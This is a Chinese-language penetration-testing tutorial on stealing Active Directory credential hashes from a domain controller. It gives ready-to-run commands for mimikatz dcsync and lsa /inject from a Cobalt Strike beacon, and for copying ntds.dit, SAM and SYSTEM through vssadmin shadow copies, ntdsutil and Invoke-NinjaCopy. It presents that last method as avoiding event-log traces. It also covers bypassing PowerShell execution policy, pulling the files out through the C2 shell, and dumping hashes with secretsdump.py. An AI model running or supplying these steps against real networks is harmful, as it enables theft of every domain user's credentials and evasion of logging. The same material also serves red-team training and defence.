它们在哪儿?
ntds.dit文件是域环境中域控上会有的一个文件,这个文件存储着域内所有用户的凭据信息(hash)。非域环境也就是在工作组环境中,有一个sam文件存储着当前主机用户的密码信息,想要破解sam文件与ntds.dit文件都需要拥有一个system文件。
ntds.dit文件位置:
C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM
ntds.dit部分
在线破解
所谓的在线破解就是不用将域控上的ntds.dit文件下载下来,直接在已有的shell上破解。比如说你有一个cs弹回的beacon,就可以在beacon中直接利用mimikatz来破解,这一切的前提是有管理员权限。
Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。
可以通过dcsync直接获取test域内所有用户hash
lsadump::dcsync /domain:test.com /all /csv
也可以获取单个用户的详细信息
lsadump::dcsync /domain:test.com /user:kertgt
可以查看所有用户的所有详细信息
lsadump::lsa /inject
离线破解
离线破解一般需要两步,首先就是将远端域控的ntds.dit下载到本地,然后利用再在本地进行破解。ntds.dit文件一直在被windows系统使用,所以常规的复制下载方法是无法将文件下载到本地的,这里我推荐如下几个方法:
获取ntds.dit文件的方式
用vssadmin进行复制ntds文件
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
执行完上述命令即可将ntds.dit复制到C盘下创建的ShadowCopy中。执行结果如下图所示:
也可以使用这个命令复制sam或者system文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\sam.hiv
使用ntdsutil
依次在命令行输入以下命令即可
Ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quit
最终会在c盘下生成ntdsutil这个文件夹:
这个文件夹里面存有system文件与ntds.dit文件。
通过NinjaCopy获得域控服务器NTDS.dit文件
ninjacopy下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\ntds.dit"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"
附录:绕过powershell执行策略的命令:
cmd中:powershell -ep bypass
powershell中:Set-ExecutionPolicy Bypass -Scope Process
也可以参考下面的链接
绕过powershell执行策略的方法
执行结果如下
这种方法没有调用Volume Shadow Copy服务,所以不会产生日志文件7036
参考文章:
域渗透——获得域控服务器的NTDS.dit文件
文件移动
我们这时候需要将文件下载到本地,这时候假设我们有一个cobalt strike的shell(除了这个方法外还可以用scp命令)。
首先我们可以在cs的客户端直接浏览到被控主机的文件情况,这时候将我们上一步得到的ntds.dit文件跟system.hiv文件下载到本地:
第一步首先在文件系统中选择下载:
第二步,下载好后需要同步到cs的客户端,也就是本地(不是vps)。
本地浏览文件:
本地破解
当把文件下载到本地后,就需要开始破解其中的密码了,这时候我们采用impacket的secretsdump.py这个脚本。
命令为:
python3 secretsdump.py -ntds ~/Desktop/ntds.dit -system ~/Desktop/system.hiv LOCAL
破解出的密码格式为domain\uid:rid:lmhash:nthash,例如krbtgt的密码要采用最后一个冒号后面的那个,也就是d8d2ad开头的